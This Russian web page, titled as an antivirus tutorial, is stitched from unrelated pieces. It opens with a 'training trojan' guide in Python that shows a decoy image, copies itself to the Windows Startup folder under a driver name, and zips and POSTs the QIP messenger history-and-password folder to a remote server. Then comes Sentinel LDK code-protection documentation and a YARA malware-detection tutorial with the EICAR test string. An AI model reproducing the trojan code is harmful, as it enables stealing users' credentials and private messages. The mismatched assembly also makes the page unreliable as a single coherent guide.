Как сделать свой антивирус на python
Выбор языка для троян-кодинга — тема для вечных холиваров. Хардкорщики кричат, что лишь на Asm’е пишется что-то нормальное. Группа полу-хардкорщиков молится на Си. Поклонники практически покойного Delphi тоже не отстают.
Теперь для теста в папке D:\test\ создай питоновский скрипт test.py:
print "OK"
open("ok.txt", "w").write('ok')
D:\pyinstaller> Makespec.py -F -w -X d:\test\test.py
D:\pyinstaller> Build.py d:\pyinstaller\test\test.spec
Несколько секунд ожидания… готово! Результат работы покоится в папке d:\pyinstaller\test\dist\. Наш test.exe получился размером в 2.4 Мб, и, если его запустить, то может показаться, что ничего не сработало — окна нет. Однако ok.txt создается, а значит, все отлично работает.
Картинка to string
Для начала обеспечим нашей программе некий минимум правдоподобности. Обеспечить ее для блондинки довольно просто — покажем ей красивую картинку, тут-то она и растает :). Поскольку все хозяйство у нас должно покоиться в одном py-файле, то картинку нужно будет сжать, а потом закинуть в base64 (превратив в строку). Теперь — немножко питоновской магии с объектом gzip.GzipFile, которому при создании мы указываем, куда сохранять уже сжатые данные, и получаем код, который читает файл my.jpg, сжимает, кодирует функцией base64.encodestring в строку base64 и полученную строку-изображение сохраняет в rez_img.txt:
import StringIO, gzip, base64
zbuf = StringIO.StringIO()
zfile = gzip.GzipFile(mode='wb', fileobj=zbuf)
zfile.write(open(‘my.jpg’,'rb’).read())
zfile.close()
open('rez_img.txt', 'w').write(
base64.encodestring(zbuf.getvalue())
)
Теперь, имея в своем распоряжении строку-картинку, мы можем приступить собственно к кодингу. В начале файла troj. py в переменную img мы поместим нашу картинку с rez_img. txt. Логика этого кода будет выглядеть примерно так (подробности — в сорце на диске):
Распаковка файла практически аналогична запаковке. Код этого нелегкого процесса ты всегда можешь посмотреть в исходнике на диске, а я лишь уточню, что название файла-картинки мы берем из исполнимого файла для уменьшения палевности:
file_src = sys.argv[0]
img_name= file_src.split('\\')[-1].\
split('.')[0]
img_name += '.jpg'
Самый простой способ автозапуска нашей проги — скопировать в папку автозагрузки:
import shutil
shutil.copy(sys.argv[0], r'C:\ProgramData\
Microsoft\Windows\Start Menu\Programs\
Startup\driver_video.exe')
Как видишь, наш учебный троян заточен под английскую версию Windows 7, поэтому для работы с другими версиями константы путей нужно будет либо поменять, либо динамически вытаскивать их из стандартных переменных винды:
Теперь, когда мы отвлекли внимание юзера ушастого и закрепились в автозагрузке, можно начать исполнение нашей основной задачи, отправив на сервер архив папки с историей и паролями qip’a — C:\Program Files\QIP\Users\.
Создадим в папке Temp архив, заюзав библиотеку zipfile. Для этого создадим объект zipfile.ZipFile и рекурсивно пройдемся по папке qip, добавляя в архив все файлы:
import zipfile
def addToZip(zf, path, zippath):
if os.path.isfile(path):
zf.write(path, zippath, zipfile.ZIP_DEFLATED)
elif os.path.isdir(path):
for nm in os.listdir(path):
addToZip(zf,
os.path.join(path, nm),
os.path.join(zippath, nm)
)
zip_file = r'C:\Windows\Temp\system_files.zip'
zf = zipfile.ZipFile(zip_file, 'w', allowZip64=True)
src = r'C:\Program Files\QIP\Users\\'
addToZip(zf, src, os.path.basename(src))
zf.close()
Отослать полученный файл можно, например, через ftp, или послать post-запросом. Второй вариант мы и реализуем, воспользовавшись библиотекой urllib2:
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2
register_openers()
d,h = multipart_encode()
request = urllib2.Request("http://s/f.php", d, h)
urllib2.urlopen(request)
Вот и все! Наш учебный троян готов. Разумеется, ни в коем случае мы не советуем тебе использовать его в противозаконных целях, но на своем домашнем компьютере ты вполне можешь его потестить — он с удовольствием покажет тебе интересную картинку, заархивирует папку с qip’ом и отправит ее на сохранение твоему лучшему другу. Отличное решение, ведь если твой компьютер поразит злой вирус — ты всегда сможешь восстановиться из хранящегося у друга бэкапа!
Первый вариант защищает Python приложения, комбинируя Sentinel Envelope с Sentinel Data File Protection (DFP). Таким образом, защищается непосредственно интерпретатор Python, которому на уровне защиты указывается, с какими файлами он должен работать как с защищенными (зашифрованными), следовательно, такие файлы интерпретатор будет предварительно автоматически расшифровывать и только затем выполнять. Незашифрованные файлы будут работать также, как и ранее. Сами *.py модули, требующие защиты шифруются с помощью инструмента Sentinel Data File Protection (DFP).
Второй метод обеспечивает более высокий уровень безопасности, поскольку дополнительный этап компиляции снижает уровень абстракции кода и позволяет Sentinel Envelope защищать приложение как код, а не только как данные, что позволяет применять более сложные механизмы защиты. С другой стороны, второй метод немного сложнее в настройке, так как требует дополнительно “прослойки” в виде Cython и работающий C-компилятор.
● Защитите интерпретатор Python, включив в настройках защиты опцию “Enable data file protection (Data Protection Utility) = Version 2” для работы защищённого интерпретатора с зашифрованными файлами данных. Защищенное приложение может распространяться путем упаковки защищенного с помощью Envelope интерпретатора вместе с зашифрованными *.pyc файлами (например, с использованием pyinstaller).
Примечание: Важно всегда защищать скомпилированный байт-код Python (*.pyc), а не простой исходный код Python (.py). Причина в том, что интерпретатор Python сначала переводит файлы *.py в файлы *.pyc, которые затем записываются на диск, чтобы ускорить последующее выполнение. При предоставлении защищенного файла *.py вместо файла *.pyc интерпретатор Python сгенерирует открытый текстовый файл *.pyc и запишет его на диск, где он будет доступен для анализа в открытом виде.
Примеры защиты
Для Windows
После установки Sentinel LDK пример, демонстрирующий защиту Python приложения для Windows с помощью Sentinel Data File Protection, можно найти в директории:
C:\Users\ \Documents\Gemalto\Sentinel LDK version\Samples\Envelope\Python \data_file_protection
Прилагаемые скрипты демонстрируют защиту простого Python приложения, которое можно найти в директории:
Пример представляет собой простое Python приложение командной строки, которое состоит из сценария запуска (main.py) и 3’х модулей (moduleA.py, moduleB.py, moduleC.py). Этот пример был написан так, чтобы работать одинаково в обеих версиях Python2 и Python3. Директория data_file_protection содержит:
Этот сценарий защищает и упаковывает пример приложения для Python2 для Windows, с использованием: кода разработчика DEMOMA, Sentinel Envelope, утилиты шифрования файлов данных для Sentinel LDK (dfcrypt) и pyinstaller.
Файл проекта Sentinel Envelope, в котором указаны параметры Envelope для защиты интерпретатора Python2 (python27.dll) для приведенного выше сценария.
● build_dfp_protected_python3_app.bat
Этот сценарий защищает и упаковывает пример приложения для Python3 для Windows, с использованием: кода разработчика DEMOMA, Sentinel Envelope, утилиты шифрования файлов данных для Sentinel LDK (dfcrypt) и pyinstaller
.● envelope_python3.prjx
Файл проекта Sentinel Envelope, в котором указаны параметры Envelope для защиты интерпретатора Python3 (python37.dll) для приведенного выше сценария.
Для Linux
Пример, демонстрирующий защиту Python приложения для Linux с использованием Sentinel Data File Protection, можно найти в директории:
Прилагаемые скрипты демонстрируют защиту простого Python приложения, которое можно найти в директории:
Пример представляет собой простое Python приложение командной строки, которое состоит из сценария запуска (main.py) и 3’х модулей (moduleA.py, moduleB.py, moduleC.py). Этот пример был написан так, чтобы работать одинаково в обеих версиях Python2 и Python3.Директория data_file_protection содержит:
● build_dfp_protected_python2_app.sh
Этот сценарий защищает и упаковывает пример приложения для Python2 для Linux с использованием: кода разработчика DEMOMA, Sentinel Linux Envelope, утилиты шифрования файлов данных для Sentinel LDK (dfcrypt) и pyinstaller.
● build_dfp_protected_python3_app.sh
Этот сценарий защищает и упаковывает пример приложения для Python3 для Linux с использованием: кода разработчика DEMOMA, Sentinel Linux Envelope, утилиты шифрования файлов данных для Sentinel LDK (dfcrypt) и pyinstaller.
Процесс защиты
Шаги для создания защищенного приложения с использованием Sentinel Data File Protection и Sentinel Envelope:
Сборка приложения и зависимостей в *.py модуль
Шифрование *.py модулей
dfcrypt --encrypt --encver:2 "--key:A secret" --vcf:DEMOMA.hvc --fid:0 dist//moduleA.pyc encrypted/moduleA.pyc
dfcrypt --encrypt --encver:2 "--key:a secret" --vcf:DEMOMA.hvc --fid:0 dist//moduleB.pyc encrypted/moduleB.pyc
Защита интерпретатора Python
Защитите с помощью Envelope библиотеку интерпретатора Python (*.dll / *.so) с поддержкой возможности чтения зашифрованных файлов данных:
Чтобы развернуть защищенное приложение, просто скопируйте папку dist/ на целевой компьютер.Ваше защищенное приложение можно запустить, выполнив команду вида:
- Переведите ваши модули Python (*.py) в C-Code, используя Cython.
- Скомпилируйте полученные C-файлы в модули расширения Python (*.pyd / *.so), используя C-компилятор для вашей платформы 1 .
- Защитите полученные модули расширения Python (*.pyd / *.so) с помощью Sentinel Envelope.
Примеры защиты
Для Windows
После установки Sentinel LDK пример, демонстрирующий защиту приложения Python для Windows с использованием Cython и Sentinel Envelope, можно найти в директории:
C:\Users\ \Documents\Gemalto\Sentinel LDK version\Samples\Envelope\Python \cythonize_and_envelope
Скрипты демонстрирующие защиту простого приложения Python, которое можно найти в директории:
Пример приложения представляет собой простое Python приложение командной строки, которое состоит из сценария запуска (main.py) и 3’х модулей (moduleA.py, moduleB.py, moduleC.py). Этот пример был написан так, чтобы работать одинаково в обеих версиях Python2 и Python3.
● build_python2.bat Этот сценарий защищает и упаковывает пример приложения для Python2 под Windows, с использованием: кода разработчика DEMOMA, Cython, компилятора Microsoft Visual C ++ для Python 2.7, Sentinel Envelope и pyinstaller.
● envelope_cythonized_py2modules.prjx
Файл проекта Sentinel Envelope, который задает параметры Envelope для защиты расширений Python (moduleA.pyd, moduleB.pyd), которые были созданы с помощью приведенного выше сценария.
● build_python3.bat Этот сценарий защищает и упаковывает пример приложения для Python3 под Windows, с использованием: кода разработчика DEMOMA, Cython, Microsoft Build Tools для Visual Studio 2019, Sentinel Envelope и pyinstaller.
● envelope_cythonized_py3modules.prjx
Файл проекта Sentinel Envelope, который задает параметры Envelope для защиты расширений Python (moduleA.pyd, moduleB.pyd), которые были созданы с помощью приведенного выше сценария.
Для Linux
Пример защиты приложения Python для Linux с использованием Cython и Sentinel Envelope можно найти в директории:
Прилагаемые скрипты демонстрируют защиту простого приложения Python, которое можно найти в директории:
Пример представляет собой простое Python приложение командной строки, которое состоит из сценария запуска (main.py) и 3’х модулей (moduleA.py, moduleB.py, moduleC.py). Этот пример был написан так, чтобы работать одинаково в обеих версиях Python2 и Python3.
● build_python2.sh
Этот сценарий защищает и упаковывает приложение для Python2 под Linux с использованием: кода разработчика DEMOMA, Cython, GCC, Sentinel Envelope и pyinstaller.
● build_python3.sh
Этот сценарий защищает и упаковывает приложение для Python3 под Linux с использованием: кода разработчика DEMOMA, Cython, GCC, Sentinel Envelope и pyinstaller.
Процесс защиты
Трансляция *.py модулей в C-Code с использованием Cython
Для защиты необходимо сначала изменить расширение вашего модуля Python с *.py на *.pyx, потому что это позволяет Cython генерировать код, который может быть лучше защищен с помощью Sentinel Envelope.Cython может быть установлен с использованием команды
Сборка C-Файлов в нативное Python приложение (исполняемый файл)
● Python2: Microsoft Visual C++ Compiler для Python 2.7
Запустите консоль (cmd-shell) и выполните команду:
● Python2: C:\Users\ \AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\vcvarsall.bat" amd64
● Python3: C:\ \VC\Auxiliary\Build\vcvarsall.bat" amd64
Выполните следующие команды в консоли, чтобы скомпилировать C-код:
● Python2: cl /nologo /c /MD /Ox /W3 /I C:\Python27\include moduleA.c link /nologo /dll -out:moduleA.pyd C:\Python27\libs\python27.lib moduleA.obj
● Python3: cl /nologo /c /MD /Ox /W3 /IC:\Python37\include moduleA.c link /nologo /dll -out:moduleA.pyd C:\Python37\libs\python37.lib moduleA.obj
В результате получите модуль расширения Python для Windows (moduleA.pyd).Для Linux:
Установите GCC-Compiler с помощью менеджера пакетов вашего дистрибутива Linux, например следующей командой в консоли:
apt install gcc
Установите пакет разработчика Python, используя менеджер пакетов вашего дистрибутива Linux, например:
apt install python2-dev
apt install python3-dev
Выполните следующие команды, чтобы скомпилировать C-код:
● Python2: gcc -fPIC -pthread -fwrapv -O2 -Wall -fno-strict-aliasing -I/usr/include/python2.7 -c moduleA.c gcc -pthread -shared moduleA.o -o moduleA.so
● Python3: gcc -fPIC -pthread -fwrapv -O2 -Wall -fno-strict-aliasing -I "/usr/include/python3.7" -c moduleA.c gcc -pthread -shared moduleA.o -o moduleA.so
В результате получите модуль расширения Python для Linux (moduleA.so).
Защита нативного Python приложения (исполняемого файла) с помощью утилиты Envelope
linuxenv --vcf:DEMOMA.hvc --fid:0 plain/moduleA.so prot/moduleA.so
Для Windows используйте Sentinel Envelope точно так же, как при защитите обычного dll/exe файла.
Отказ от ответственности: Автор или издатель не публиковали эту статью для вредоносных целей. Вся размещенная информация была взята из открытых источников и представлена исключительно в ознакомительных целях а также не несет призыва к действию. Создано лишь в образовательных и развлекательных целях. Вся информация направлена на то, чтобы уберечь читателей от противозаконных действий. Все причиненные возможные убытки посетитель берет на себя. Автор проделывает все действия лишь на собственном оборудовании и в собственной сети. Не повторяйте ничего из прочитанного в реальной жизни. | Так же, если вы являетесь правообладателем размещенного на страницах портала материала, просьба написать нам через контактную форму жалобу на удаление определенной страницы, а также ознакомиться с инструкцией для правообладателей материалов. Спасибо за понимание.
- В первой части мы разберем Yara проект. Разберем как установить инструмент, как получить yara-правила, найдем угрозы.
- Во второй части научимся сами писать yara-правила.
- В третьей части напишем антивирус.
Что такое YARA?
Yara - это инструмент, который помогает нам идентифицировать и классифицировать образцы вредоносных программ с помощью правил. Мы можем использовать Yara для классификации файлов или запуска процессов, чтобы определить, к какому семейству относятся вредоносные программы.
Также YARA является мультиплатформенным инструментом, работает на всех популярных ОС и может использоваться через интерфейс командной строки или из ваших собственных скриптов Python с расширением yara-python. Также можно использовать GUI(Рассмотрим далее).
Установка.
Чтобы установить Yara, сначала нужно выполнить следующую команду:
apt install yara
После этого мы можем использовать Yara, выполнив команду yara, которая по умолчанию отобразит справку по использованию, как показано ниже:
Мы видим, что для запуска Yara нам нужно предоставить набор правил (RULEFILE), которые мы хотим применить, и путь к файлу (FILE) или pid (PID) процесса, который мы хотим сканировать.
Подготовка правил для тестов.
Правила ClamAV:
Теперь нам нужно получить файл правил, чтобы использовать Yara. В следующей части мы сами напишем файл с правилами, но сейчас будем использовать правила ClamAV. Единственная проблема с правилами ClamAV состоит в том, что мы не можем использовать их непосредственно с Yara, потому что Yara имеет свой собственный способ их описания(свой синтаксис).
Именно здесь вступает в игру скрипт clamav_to_yara.py .
Для этого нам нужно клонировать SVN-репозиторий, который включает скрипт python clamav_to_yara.py .
Ссылка на репозиторий mattulm/volgui
- python clamav_to_yara.py -f main.ndb -o test.yara
- yara -r test.yara /myfolder_for_test
Правила PEiD можно скачать с сайта: Panda Security Mediacenter - All the info about your cybersecurity.
Чтобы преобразовать правила PEiD в правила Yara, мы можем просто использовать Python скрипт peid_to_yara.py , который также можно загрузить с jvoisin/yara_rules
Затем мы выполняем преобразование, выполнив следующую команду: python peid_to_yara.py -f userdb.txt -o peid.yara
После завершения команды подписи Yara будут содержаться в выходном файле peid.yara.
Тестовый вирус - EICAR
Теперь нам нужен какой-либо вирус для наших тестов, но если у вас нет желания тестировать реальные вирусы, которые также могут принести вред вашему ПК при тесте, вы можете сами создать тестовый вирус, но он будет совершенно безобидным.
EICAR вирус - это небольшой кусок текста, суть которого заключается в том, что все современные AV его обнаруживают.
Мы будем его также тестировать в “полевых условиях”, например, для проверки нашего AV( Если конечно статья вам зайдет ).
Но в этой статье мы проверим обнаруживают ли его инструмент Yara.
Теперь давайте сотворим этот “псевдо-вирус”
Для этого создайте файл и вставьте следующий текст: X5O!P%@AP[4\PZX54(P^)7CC)7>$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* .
После этого вам необходимо сохранить файл под любым расширением(exe, com, bat, asm…)
Где взять реальные вирусы.
Если вам тестовый вирус EICAR чем-то не устраивает, то можно воспользоваться базой для скачивания реальных вирусов.
Для этих целей можно воспользоваться сервисом - VX Vault
Среди плюшек можно отметить, что у каждого вируса имеется MD5,SHA-1,SHA-256 хэшы, IP-адресса.(Это нам поможет при написание Yara-правил).
После всего этого мы можем классифицировать примеры вредоносных программ, используя только инструмент Yara, и нам больше не нужно сканировать их с помощью правил ClamAV и PEiD. Это потому что Yara уже содержит правила из ClamAV и PEiD, которые используются в процессе сканирования, что очень удобно так как у нас имеется довольно большая база сигнатур для поиска "зловреда".
Создав свой антивирус, а создавать мы будем используя базу Yara-правил. Мы можем автоматически классифицировать вредоносные программы, правда пока только с помощью правил. Это очень полезно, когда нам быстро необходимо просканировать образец вредоносного ПО определенной категории.
Также думаю я добавлю функционал заливки файла на VirusTotal для точного обнаружения.
Именно на основе Yara правил мы и будем создавать свой сигнатурный AV.
Демонстрация.
И так теперь проверим и посмотрим как протестировать файл(папку).
Для тестирование папки мы должны выполнить следующую команду: yara -r
В моем случае я тестирую уязвимый дамп памяти:
Как видно помимо различной информации вредоносный дамп был успешно обнаружен как Empire ReflectivePick x64.
Еще пару сканирований:
Чтобы убрать лишнюю информацию нужно использовать атрибут -w
Теперь рассмотрим как ищет "зловреда" Yara GUI версия для Windows.
Подводим итог.
В этой статье мы рассмотрели, как мы можем использовать продукт Yara с использованием ClamAV, PEiD правил для поиска вредоносных сигнатур в файлах.
Вышеупомянутый подход основан только на проверке сигнатуру(блока информации), что означает, что нетрудно обмануть Yara (с загруженными правилами ClamAV и PEiD).
Честно сказать, данный продукт может обнаруживать только известные вредоносные программы. Но если мы напишем нашу собственный вирус или закодируем его с помощью нашего собственного кодировщика, он, вероятно, не будет обнаружен, поскольку в Yara не загружены соответствующие сигнатуры. Этот пункт касается и нашего будущего антивируса.
Тем не менее, использование Yara для обнаружения вредоносной активности в файлах по-прежнему выгодно, поскольку большинство вредоносных программ в Интернете представляют собой стандартные вредоносные файлы и не содержат дополнительной маскировки, поэтому большинство вредоносных файлов можно обнаружить.
Читайте также: